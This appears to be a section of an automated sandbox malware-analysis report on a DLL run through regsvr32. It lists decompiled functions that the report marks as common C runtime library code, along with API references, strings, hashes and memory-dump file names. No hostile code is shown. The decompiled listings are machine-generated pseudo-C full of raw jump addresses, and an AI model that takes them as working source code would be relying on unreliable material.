_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
", xrefs: 000007FEF9D368ED
P, xrefs: 000007FEF9D36912
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction ID: 92bf99913cb81df5d7f4b76c0ee557dab353d6c18ff2e6375d0d5446e39197ae
Opcode Fuzzy Hash: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction Fuzzy Hash: 8DE10C31A0DBC685E7B09B14E8457AEA3E0F384754FA04626D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

$, xrefs: 000007FEF9D38FA5
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction ID: 19a34de06f4f25a15c822aae2b95ff87e4dec291f3645630fab9b4d6ba707880
Opcode Fuzzy Hash: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction Fuzzy Hash: 4AE11836A1CB86CAE7A09B18E84476EB3E1F784345F604525E6CD83BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF
$, xrefs: 000007FEF9D372CF
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction ID: 612b8f3a1e511721bf558c20b5ecc37bcc5fe5373454d887446b2b671354ce2d
Opcode Fuzzy Hash: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction Fuzzy Hash: 2EE13A32A1DB86CAE7A09B59E8447AEB7E1F385344F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

9, xrefs: 000007FEF9D3E988
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction ID: 6542cf9ee6a066de1e86aade3174812d6b56db97d2698e01b13d8cfaf3a7b086
